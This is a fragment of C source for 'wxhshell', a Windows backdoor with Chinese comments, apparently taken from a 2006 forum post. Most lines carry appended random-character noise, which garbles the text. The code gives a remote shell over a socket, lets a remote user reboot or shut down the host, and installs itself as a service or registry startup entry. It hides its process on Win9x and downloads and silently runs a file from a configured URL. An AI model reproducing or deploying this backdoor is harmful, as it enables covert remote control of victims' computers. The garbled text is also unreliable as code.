  } /|\`NARI  
  else { I|PiZ1]2 Y  
bWyXDsr+  
    switch(cmd[0]) { "Fke(?X'  
  {66vdAu&h<  
  // 帮助 ~k J#IA  
  case '?': { jt]+(sx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Te.hXCFD  
    break; XkNi 'GJf  
  } z* `81  
  // 安装 ,fN iZ  
  case 'i': { O+e8}Tmm  
    if(Install()) lz>5bR'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&t{IP(?  
    else ?ph"|LyL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MKH7d/x  
    break; 56v<!L5%  
    } HL)1{[|`  
  // 卸载 EU\1EBT^  
  case 'r': { *$s)p>  
    if(Uninstall()) eHjR/MMr_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? &1?uc  
    else 8"4`W~ 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H(g&+Wcu=  
    break; T"0a&.TLj  
    } 9!R!H&  
  // 显示 wxhshell 所在路径 f{+8]VA  
  case 'p': { $Qm;F% >  
    char svExeFile[MAX_PATH];  10DS  
    strcpy(svExeFile,"\n\r"); %d=-<EQ|&  
      strcat(svExeFile,ExeFile); )8vcg{b{d  
        send(wsh,svExeFile,strlen(svExeFile),0); s_kI\w4(x1  
    break; M'g4alS  
    }  (0k0gq;  
  // 重启 'LX=yL]I  
  case 'b': { [2 Rp.?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); crmnh4-  
    if(Boot(REBOOT)) O ,DX%wk,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mtF&Z\ag  
    else { z1"UF4x*  
    closesocket(wsh); 8C YJR/  
    ExitThread(0); K'71uW>  
    } L@+j8[3BX  
    break; ^L[Z+7|  
    } jQ[Z*^"}  
  // 关机 fZGKVxo"  
  case 'd': { ZHB'^#b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * T~sR'K+|  
    if(Boot(SHUTDOWN)) rKjQEO$yi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }??q{B@v  
    else { F:H76O`8  
    closesocket(wsh); cJty4m-  
    ExitThread(0); 0~-+5V  
    } a'A0CQ  
    break; 6)?TWr'Ke  
    } 8pk5[=3Z  
  // 获取shell U?}Maf  
  case 's': { 'fgDe  
    CmdShell(wsh); ]f-e/8$`@  
    closesocket(wsh); } K Ou  
    ExitThread(0); .a^/r'?  
    break; A8A+ImwO"  
  } A,iXiDb3pK  
  // 退出 , <[os  
  case 'x': { #VrT)po+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %ZxKN;  
    CloseIt(wsh); pjoI};  
    break; )zt5`"/o  
    } _\1(7?0D  
  // 离开 +6>Pp[%  
  case 'q': { 1E-$f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `SU;TN0  
    closesocket(wsh); AHLDURv  
    WSACleanup(); {vU '>pp  
    exit(1); "5e]-u'  
    break; YvU#)M_h  
        } Oq.) 8E.  
  } E+>;tLw3j  
  } jALo;PDJ  
`q/y|/v<  
  // 提示信息 weDv[b5i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Z~m6;  
} oW8[2$_N+  
  } D2hvf ^g'*  
-~xd-9v?  
  return; R0+m7mx#E  
} !7w-?1?D  
H11Wb(6Wu  
// shell模块句柄 !K@y B)9  
int CmdShell(SOCKET sock) ^8\pJg_0  
{ G(4k#jB  
STARTUPINFO si; `W/6xm(X5;  
ZeroMemory(&si,sizeof(si)); wgufk {:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y_nh~&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7X.1QSuE  
PROCESS_INFORMATION ProcessInfo; ar{e<&Bny  
char cmdline[]="cmd"; >Te{a*`"m:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7eO8cPy  
  return 0; i<T`]g  
} eFx*lYjA  
k{;:KW|  
// 自身启动模式 44]ae~@a  
int StartFromService(void) zZy>XHR H  
{ M\]E;C'"U  
typedef struct DnTM#i:  
{ 2<'gX>TW  
  DWORD ExitStatus; $X{& KLM[  
  DWORD PebBaseAddress; [R~HhM  
  DWORD AffinityMask; ZWFH5#=  
  DWORD BasePriority; J d`NS3;*p  
  ULONG UniqueProcessId; Z86[sQBg  
  ULONG InheritedFromUniqueProcessId; n1LS*-@  
}   PROCESS_BASIC_INFORMATION; %GIla *  
N Lo>"<Xb  
PROCNTQSIP NtQueryInformationProcess; x 1 _(j  
 Wi|.Z/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b!N`@m=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6yR7RF}  
JAn3  
  HANDLE             hProcess; 6?`py}:  
  PROCESS_BASIC_INFORMATION pbi; 7j]@3D9[:p  
{k)MC)%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cEN^H  
  if(NULL == hInst ) return 0; Z]6D0b  
oDRNM^gz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z C``G<TB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~jPe9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =*'` \}];"  
M\GS&K$lq  
  if (!NtQueryInformationProcess) return 0; \gzNMI*  
g_q{3PW.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HS2)vd@)  
  if(!hProcess) return 0; )oNomsn  
&oR&NKk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'J\%JAR@  
@B[V'|  
  CloseHandle(hProcess); ;m\(fW*ii  
uo%zfi?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sz . _XY^  
if(hProcess==NULL) return 0; -V+fQGZe  
;<*VwXJR  
HMODULE hMod; aH~il!K  
char procName[255]; vu1:8j  
unsigned long cbNeeded; ':fVb3A[*d  
 [g/g(RL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H<q:+  
,JjTzO  
  CloseHandle(hProcess); J0x)m2  
L h0<A%  
if(strstr(procName,"services")) return 1; // 以服务启动 P--#5W;^oB  
0 8U:{LL  
  return 0; // 注册表启动 7<) .luV  
} QM$?}>:  
@U9ov >E  
// 主模块 m/{rmtA4  
int StartWxhshell(LPSTR lpCmdLine) w,P2_xk`  
{ 'tdjPdw  
  SOCKET wsl; Lkb?,j5  
BOOL val=TRUE; BEY}mR]  
  int port=0; )S5Q5"j&=f  
  struct sockaddr_in door; U2h?l `nP  
LsmC/+7r$1  
  if(wscfg.ws_autoins) Install(); 68D.Li  
uXp0D$a  
port=atoi(lpCmdLine); LX3 5Lt  
S2Wxf>b t2  
if(port<=0) port=wscfg.ws_port; L-Hl.UV  
#-{4 Jx  
  WSADATA data; h  qxe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m=#2u4H4  
ptsi\ 7BG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tIRw"sz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .qHgQ_%  
  door.sin_family = AF_INET; r..Rh9v/=E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HWc=.Qq  
  door.sin_port = htons(port); i JQS@2=A  
:0]KIybt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vm Hf$rq  
closesocket(wsl); t n}9(Oa)  
return 1; vb$k/8JK  
} N (43+  
@NNN&%  
  if(listen(wsl,2) == INVALID_SOCKET) { 0R; ;ou  
closesocket(wsl); Gz kf  
return 1; z,^baU  
} /|>z7#?m^  
  Wxhshell(wsl); |i|>-|`!  
  WSACleanup(); P>)qN,a  
p{88v3b6  
return 0; }3QEclZr  
yYW>)  
} w 5,-+&;  
z S^:Ng5  
// 以NT服务方式启动 K)&AR*Tc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |{Oe&j3|  
{ VkUMMq{  
DWORD   status = 0; 6 s*#y [$  
  DWORD   specificError = 0xfffffff; X)'uTf0  
C7nLa@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i5rAb<q`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g4U%(3,>D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zHyM@*Gf(  
  serviceStatus.dwWin32ExitCode     = 0; [t>}M6?R:  
  serviceStatus.dwServiceSpecificExitCode = 0; 4Sw)IU~K(  
  serviceStatus.dwCheckPoint       = 0; vQ 5 p  
  serviceStatus.dwWaitHint       = 0; sqsBGFeG  
\`x$@s?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qi$6y?  
  if (hServiceStatusHandle==0) return; 2r\ f!m'  
%kyvt t  
status = GetLastError(); Es)Kw3^a  
  if (status!=NO_ERROR) KecRjon~  
{  8*lVO2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'w&,3@Z  
    serviceStatus.dwCheckPoint       = 0; yV_aza  
    serviceStatus.dwWaitHint       = 0; HD$W\P  
    serviceStatus.dwWin32ExitCode     = status; {wK98>$a  
    serviceStatus.dwServiceSpecificExitCode = specificError; rry 33  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `2}Mz9mk  
    return; C?X^h{T p  
  } lNqYpyvy*  
xMU4Av[{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =r#of|`Q  
  serviceStatus.dwCheckPoint       = 0; \y{C>! WX4  
  serviceStatus.dwWaitHint       = 0; <kp?*xV]]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Y:5u}*Y  
} cbNrto9  
QYDSE  
// 处理NT服务事件,比如:启动、停止 fyh9U_M);w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |&3[YZY  
{ gP? pfFhG  
switch(fdwControl) a! ]'S4JS  
{ ([^1gG+>J  
case SERVICE_CONTROL_STOP: ZI}7#K<9X  
  serviceStatus.dwWin32ExitCode = 0; e'p'{]r<w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l7nc8K  
  serviceStatus.dwCheckPoint   = 0; 6gNsh  
  serviceStatus.dwWaitHint     = 0; `gx_+m^  
  { H W)> `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pFx7URZA  
  } 5v6*.e'p  
  return; 1d"g $i4e  
case SERVICE_CONTROL_PAUSE: 7gNJ}pLDx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nxp 7/Nn3  
  break; xZwG@+U=X  
case SERVICE_CONTROL_CONTINUE: o^}K]ML!t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :!n_a*.{  
  break; 1=}+NK!  
case SERVICE_CONTROL_INTERROGATE: I ze+](  
  break; ]-&A )M6  
}; V+(1U|@~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !0i  
}  $TGE  
Rq|7$O5  
// 标准应用程序主函数 >;LXy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M2l0x @|  
{ iP)`yB5`  
scT,yNV  
// 获取操作系统版本 $qV, z  
OsIsNt=GetOsVer(); V9mqJRFJ:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \C#X Kk$OE  
TgoaEufS<  
  // 从命令行安装 ]ri5mnB  
  if(strpbrk(lpCmdLine,"iI")) Install(); )[oegfnn-  
N2#Wyt8MC  
  // 下载执行文件 '1'De^%6W  
if(wscfg.ws_downexe) { Y23- Im  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oc7&iL  
  WinExec(wscfg.ws_filenam,SW_HIDE); aJdd2,e  
} H,u{zU')  
%-1-y]R|  
if(!OsIsNt) { m:SG1m_6  
// 如果时win9x,隐藏进程并且设置为注册表启动 zk#"n&u0  
HideProc(); r~nD%H:}P  
StartWxhshell(lpCmdLine); oR}cE Sr  
} i&=I5$  
else <Nwqt[.  
  if(StartFromService()) JFewOt3  
  // 以服务方式启动 I&vD >a5#  
  StartServiceCtrlDispatcher(DispatchTable); 5$$Yce=k  
else y(^t&tgjS  
  // 普通方式启动 : 7>oFz  
  StartWxhshell(lpCmdLine); 42]hX9E  
T+1:[bqK  
return 0; xq$(=WPI  
}
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只看该作者 1 发表于: 2006-10-10
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